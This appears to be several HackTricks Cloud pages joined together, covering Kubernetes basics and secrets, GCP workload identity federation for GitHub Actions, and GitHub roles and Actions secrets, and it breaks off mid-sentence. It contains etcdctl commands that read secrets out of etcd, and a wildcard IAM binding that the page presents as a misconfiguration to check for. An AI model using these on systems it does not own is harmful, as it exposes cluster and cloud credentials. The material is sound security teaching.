Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services. * A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed. * When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter. * `minikube addons enable ingress` ![](https://sickrov.github.io/media/Screenshot-66.jpg) * CA is the trusted root for all certificates inside the cluster. * Allows components to validate to each other. * All cluster certificates are signed by the CA. * ETCd has its own certificate. * types: * apiserver cert. * kubelet cert. * scheduler cert. **Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/) . $ minikube start 😄 minikube v1.19.0 on Ubuntu 20.04 ✨ Automatically selected the virtualbox driver. Other choices: none, ssh 💿 Downloading VM boot image ... > minikube-v1.19.0.iso.sha256: 65 B / 65 B [-------------] 100.00% ? p/s 0s > minikube-v1.19.0.iso: 244.49 MiB / 244.49 MiB 100.00% 1.78 MiB p/s 2m17. 👍 Starting control plane node minikube in cluster minikube 💾 Downloading Kubernetes v1.20.2 preload ... > preloaded-images-k8s-v10-v1...: 491.71 MiB / 491.71 MiB 100.00% 2.59 MiB 🔥 Creating virtualbox VM (CPUs=2, Memory=3900MB, Disk=20000MB) ... 🐳 Preparing Kubernetes v1.20.2 on Docker 20.10.4 ... ▪ Generating certificates and keys ... ▪ Booting up control plane ... ▪ Configuring RBAC rules ... 🔎 Verifying Kubernetes components... ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5 🌟 Enabled addons: storage-provisioner, default-storageclass 🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by defaul $ minikube status host: Running kubelet: Running apiserver: Running kubeconfig: Configured ---- ONCE YOU HAVE A K8 SERVICE RUNNING WITH AN EXTERNAL SERVICE ----- $ minikube service mongo-express-service (This will open your browser to access the service exposed port) $ minikube delete 🔥 Deleting "minikube" in virtualbox ... 💀 Removed all traces of the "minikube" cluster **`Kubectl`** is the command line tool for kubernetes clusters. It communicates with the Api server of the master process to perform actions in kubernetes or to ask for data. bash kubectl version #Get client and server version kubectl get pod kubectl get services kubectl get deployment kubectl get replicaset kubectl get secret kubectl get all kubectl get ingress kubectl get endpoints #kubectl create deployment --image= kubectl create deployment nginx-deployment --image=nginx #Access the configuration of the deployment and modify it #kubectl edit deployment kubectl edit deployment nginx-deployment #Get the logs of the pod for debbugging (the output of the docker container running) #kubectl logs kubectl logs nginx-deployment-84cd76b964 #kubectl describe pod kubectl describe pod mongo-depl-5fd6b7d4b4-kkt9q #kubectl exec -it -- bash kubectl exec -it mongo-depl-5fd6b7d4b4-kkt9q -- bash #kubectl describe service kubectl describe service mongodb-service #kubectl delete deployment kubectl delete deployment mongo-depl #Deploy from config file kubectl apply -f deployment.yml The dashboard allows you to see easier what is minikube running, you can find the URL to access it in: minikube dashboard --url 🔌 Enabling dashboard ... ▪ Using image kubernetesui/dashboard:v2.3.1 ▪ Using image kubernetesui/metrics-scraper:v1.0.7 🤔 Verifying dashboard health ... 🚀 Launching proxy ... 🤔 Verifying proxy health ... http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/ Each configuration file has 3 parts: **metadata**, **specification** (what need to be launch), **status** (desired state). Inside the specification of the deployment configuration file you can find the template defined with a new configuration structure defining the image to run: **Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml) **)** As a service usually is related to one deployment it's possible to declare both in the same configuration file (the service declared in this config is only accessible internally): yaml apiVersion: apps/v1 kind: Deployment metadata: name: mongodb-deployment labels: app: mongodb spec: replicas: 1 selector: matchLabels: app: mongodb template: metadata: labels: app: mongodb spec: containers: - name: mongodb image: mongo ports: - containerPort: 27017 env: - name: MONGO_INITDB_ROOT_USERNAME valueFrom: secretKeyRef: name: mongodb-secret key: mongo-root-username - name: MONGO_INITDB_ROOT_PASSWORD valueFrom: secretKeyRef: name: mongodb-secret key: mongo-root-password --- apiVersion: v1 kind: Service metadata: name: mongodb-service spec: selector: app: mongodb ports: - protocol: TCP port: 27017 targetPort: 27017 **Example of external service config** This service will be accessible externally (check the `nodePort` and `type: LoadBlancer` attributes): yaml --- apiVersion: v1 kind: Service metadata: name: mongo-express-service spec: selector: app: mongo-express type: LoadBalancer ports: - protocol: TCP port: 8081 targetPort: 8081 nodePort: 30000 note This is useful for testing but for production you should have only internal services and an Ingress to expose the application. **Example of Ingress config file** This will expose the application in `http://dashboard.com`. yaml apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: dashboard-ingress namespace: kubernetes-dashboard spec: rules: - host: dashboard.com http: paths: - backend: serviceName: kubernetes-dashboard servicePort: 80 **Example of secrets config file** Note how the password are encoded in B64 (which isn't secure!) yaml apiVersion: v1 kind: Secret metadata: name: mongodb-secret type: Opaque data: mongo-root-username: dXNlcm5hbWU= mongo-root-password: cGFzc3dvcmQ= **Example of ConfigMap** A **ConfigMap** is the configuration that is given to the pods so they know how to locate and access other services. In this case, each pod will know that the name `mongodb-service` is the address of a pod that they can communicate with (this pod will be executing a mongodb): yaml apiVersion: v1 kind: ConfigMap metadata: name: mongodb-configmap data: database_url: mongodb-service Then, inside a **deployment config** this address can be specified in the following way so it's loaded inside the env of the pod: yaml [...] spec: [...] template: [...] spec: containers: - name: mongo-express image: mongo-express ports: - containerPort: 8081 env: - name: ME_CONFIG_MONGODB_SERVER valueFrom: configMapKeyRef: name: mongodb-configmap key: database_url [...] **Example of volume config** You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes) . **Note that volumes aren't inside namespaces** Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. These are intended for use in environments with many users spread across multiple teams, or projects. For clusters with a few to tens of users, you should not need to create or think about namespaces at all. You only should start using namespaces to have a better control and organization of each part of the application deployed in kubernetes. Namespaces provide a scope for names. Names of resources need to be unique within a namespace, but not across namespaces. Namespaces cannot be nested inside one another and **each** Kubernetes **resource** can only be **in** **one** **namespace**. There are 4 namespaces by default if you are using minikube: kubectl get namespace NAME STATUS AGE default Active 1d kube-node-lease Active 1d kube-public Active 1d kube-system Active 1d * **kube-system**: It's not meant or the users use and you shouldn't touch it. It's for master and kubectl processes. * **kube-public**: Publicly accessible date. Contains a configmap which contains cluster information * **kube-node-lease**: Determines the availability of a node * **default**: The namespace the user will use to create resources bash #Create namespace kubectl create namespace my-namespace note Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace: kubectl api-resources --namespaced=true #In a namespace kubectl api-resources --namespaced=false #Not in a namespace You can save the namespace for all subsequent kubectl commands in that context. bash kubectl config set-context --current --namespace= Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**. helm search Helm is also a template engine that allows to generate config files with variables: A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/) . Secrets might be things like: * API, SSH Keys. * OAuth tokens. * Credentials, Passwords (plain text or b64 + encryption). * Information or comments. * Database connection code, strings… . There are different types of secrets in Kubernetes | Builtin Type | Usage | | --- | --- | | **Opaque** | **arbitrary user-defined data (Default)** | | kubernetes.io/service-account-token | service account token | | kubernetes.io/dockercfg | serialized ~/.dockercfg file | | kubernetes.io/dockerconfigjson | serialized ~/.docker/config.json file | | kubernetes.io/basic-auth | credentials for basic authentication | | kubernetes.io/ssh-auth | credentials for SSH authentication | | kubernetes.io/tls | data for a TLS client or server | | bootstrap.kubernetes.io/token | bootstrap token data | note **The Opaque type is the default one, the typical key-value pair defined by users.** **How secrets works:** ![](https://sickrov.github.io/media/Screenshot-164.jpg) The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions. secretpod.yaml apiVersion: v1 kind: Secret metadata: name: mysecret type: Opaque data: username: YWRtaW4= password: MWYyZDFlMmU2N2Rm --- apiVersion: v1 kind: Pod metadata: name: secretpod spec: containers: - name: secretpod image: nginx env: - name: SECRET_USERNAME valueFrom: secretKeyRef: name: mysecret key: username - name: SECRET_PASSWORD valueFrom: secretKeyRef: name: mysecret key: password volumeMounts: - name: foo mountPath: "/etc/foo" restartPolicy: Never volumes: - name: foo secret: secretName: mysecret items: - key: username path: my-group/my-username mode: 0640 bash kubectl apply -f kubectl get pods #Wait until the pod secretpod is running kubectl exec -it secretpod -- bash env | grep SECRET && cat /etc/foo/my-group/my-username && echo ### [](#discover-secrets-in-etcd) **etcd** is a consistent and highly-available **key-value store** used as Kubernetes backing store for all cluster data. Let’s access to the secrets stored in etcd: bash cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd You will see certs, keys and url’s were are located in the FS. Once you get it, you would be able to connect to etcd. bash #ETCDCTL_API=3 etcdctl --cert --key --cacert endpoint=[] health ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health Once you achieve establish communication you would be able to get the secrets: bash #ETCDCTL_API=3 etcdctl --cert --key --cacert endpoint=[] get ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02 **Adding encryption to the ETCD** By default all the secrets are **stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) encryption.yaml apiVersion: apiserver.config.k8s.io/v1 kind: EncryptionConfiguration resources: - resources: - secrets providers: - aescbc: keys: - name: key1 secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key - identity: {} After that, you need to set the `--encryption-provider-config` flag on the `kube-apiserver` to point to the location of the created config file. You can modify `/etc/kubernetes/manifest/kube-apiserver.yaml` and add the following lines: yaml containers: - command: - kube-apiserver - --encriyption-provider-config=/etc/kubernetes/etcd/ Scroll down in the volumeMounts: yaml - mountPath: /etc/kubernetes/etcd name: etcd readOnly: true Scroll down in the volumeMounts to hostPath: yaml - hostPath: path: /etc/kubernetes/etcd type: DirectoryOrCreate name: etcd **Verifying that data is encrypted** Data is encrypted when written to etcd. After restarting your `kube-apiserver`, any newly created or updated secret should be encrypted when stored. To check, you can use the `etcdctl` command line program to retrieve the contents of your secret. 1. Create a new secret called `secret1` in the `default` namespace: kubectl create secret generic secret1 -n default --from-literal=mykey=mydata 2. Using the etcdctl commandline, read that secret out of etcd: `ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C` where `[...]` must be the additional arguments for connecting to the etcd server. 3. Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data. 4. Verify the secret is correctly decrypted when retrieved via the API: kubectl describe secret secret1 -n default should match `mykey: bXlkYXRh`, mydata is encoded, check [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) to completely decode the secret. **Since secrets are encrypted on write, performing an update on a secret will encrypt that content:** kubectl get secrets --all-namespaces -o json | kubectl replace -f - **Final tips:** * Try not to keep secrets in the FS, get them from other places. * Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets. * [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks) * [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes\_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm) [kubesectips v1 | sickrov.github.io](https://sickrov.github.io/) [\- YouTube](https://www.youtube.com/watch?v=X48VuDVv0do) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Federation Abuse - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In order to give **access to the Github Actions** from a Github repo to a GCP **service account** the following steps are needed: * **Create the Service Account** to access from github actions with the **desired permissions:** bash projectId=FIXME gcloud config set project $projectId # Create the Service Account gcloud iam service-accounts create "github-demo-sa" saId="github-demo-sa@${projectId}.iam.gserviceaccount.com" # Enable the IAM Credentials API gcloud services enable iamcredentials.googleapis.com # Give permissions to SA gcloud projects add-iam-policy-binding $projectId \ --member="serviceAccount:$saId" \ --role="roles/iam.securityReviewer" * Generate a **new workload identity pool**: bash # Create a Workload Identity Pool poolName=wi-pool gcloud iam workload-identity-pools create $poolName \ --location global \ --display-name $poolName poolId=$(gcloud iam workload-identity-pools describe $poolName \ --location global \ --format='get(name)') * Generate a new **workload identity pool OIDC provider** that **trusts** github actions (by org/repo name in this scenario): bash attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization) gcloud iam workload-identity-pools providers create-oidc $poolName \ --location global \ --workload-identity-pool $poolName \ --display-name $poolName \ --attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \ --issuer-uri "https://token.actions.githubusercontent.com" providerId=$(gcloud iam workload-identity-pools providers describe $poolName \ --location global \ --workload-identity-pool $poolName \ --format='get(name)') * Finally, **allow the principal** from the provider to use a service principal: bash gitHubRepoName="repo-org/repo-name" gcloud iam service-accounts add-iam-policy-binding $saId \ --role "roles/iam.workloadIdentityUser" \ --member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}" warning Note how in the previous member we are specifying the **`org-name/repo-name`** as conditions to be able to access the service account (other params that makes it **more restrictive** like the branch could also be used). However it's also possible to **allow all github to access** the service account creating a provider such the following using a wildcard: # Create a Workload Identity Pool poolName=wi-pool2 gcloud iam workload-identity-pools create $poolName \ --location global \ --display-name $poolName poolId=$(gcloud iam workload-identity-pools describe $poolName \ --location global \ --format='get(name)') gcloud iam workload-identity-pools providers create-oidc $poolName \ --project="${projectId}" \ --location="global" \ --workload-identity-pool="$poolName" \ --display-name="Demo provider" \ --attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \ --issuer-uri="https://token.actions.githubusercontent.com" providerId=$(gcloud iam workload-identity-pools providers describe $poolName \ --location global \ --workload-identity-pool $poolName \ --format='get(name)') # CHECK THE WILDCARD gcloud iam service-accounts add-iam-policy-binding "${saId}" \ --project="${projectId}" \ --role="roles/iam.workloadIdentityUser" \ --member="principalSet://iam.googleapis.com/${poolId}/*" warning In this case anyone could access the service account from github actions, so it's important always to **check how the member is defined**. It should be always something like this: `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}` Remember to change **`${providerId}`** and **`${saId}`** for their respective values: yaml name: Check GCP action on: workflow_dispatch: pull_request: branches: - main permissions: id-token: write jobs: Get_OIDC_ID_token: runs-on: ubuntu-latest steps: - id: "auth" name: "Authenticate to GCP" uses: "google-github-actions/auth@v2.1.3" with: create_credentials_file: "true" workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used service_account: "${saId}" # instead of the alphanumeric project ID. ex: activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider' - id: "gcloud" name: "gcloud" run: |- gcloud config set project gcloud config set account '${saId}' gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}" gcloud auth list gcloud projects list gcloud secrets list tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Basic Github Information - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 16 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. And finally **repositories may have special protection mechanisms**. * **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository * **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. In an organisation users can have different roles: * **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. * **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. * **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. * **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. * If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. * **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. * **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) In _https://github.com/organizations//settings/member\_privileges_ you can see the **permissions users will have just for being part of the organisation**. The settings here configured will indicate the following permissions of members of the organisation: * Be admin, writer, reader or no permission over all the organisation repos. * If members can create private, internal or public repositories. * If forking of repositories is possible * If it's possible to invite outside collaborators * If public or private sites can be published * The permissions admins has over the repositories * If members can create new teams By default repository roles are created: * **Read**: Recommended for **non-code contributors** who want to view or discuss your project * **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access * **Write**: Recommended for contributors who **actively push to your project** * **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions * **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) You can also **create your own roles** in _https://github.com/organizations//settings/roles_ You can **list the teams created in an organization** in _https://github.com/orgs//teams_. Note that to see the teams which are children of other teams you need to access each parent team. The users of an organization can be **listed** in _https://github.com/orgs//people._ In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. Github offers different ways to authenticate to your account and perform actions on your behalf. Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) . You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. * You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) * You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) * You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) * You can see third party access of applications in an **organization** in _https://github.com/organizations//settings/oauth\_application\_policy_ Some **security recommendations**: * An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. * An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. * **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. * **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. * **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) . Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. * To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. * The GitHub App should **connect to a personal account or an organisation**. * You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) * You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) * These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) . Depending on the permissions of the App it will be able to access some of them * You can see installed apps in an **organization** in _https://github.com/organizations//settings/installations_ Some security recommendations: * A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens) ." * Make sure the GitHub App integrates with **specific repositories**. * The GitHub App should **connect to a personal account or an organisation**. * Don't expect the GitHub App to know and do everything a user can. * **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. * Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. * If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes) ." * **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) . This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). In _https://github.com/organizations//settings/actions_ it's possible to check the **configuration of the github actions** for the organization. It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB\_TOKEN** of a Github Action when it's run. Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: yaml steps: - name: Hello world action with: # Set the secret as an input super_secret:${{ secrets.SuperSecret }} env: # Or as an environment variable super_secret:${{ secrets.SuperSecret }} #### [](#example-using-bash) yaml steps: - shell: bash env: SUPER_SECRET:${{ secrets.SuperSecret }} run: | example-command "$SUPER_SECRET" warning Secrets **can only be accessed from the Github Actions** that have them declared. > Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it. It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. You can **list the self-hosted runners** of an organization in _https://github.com/organizations//settings/actions/runners_ The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the 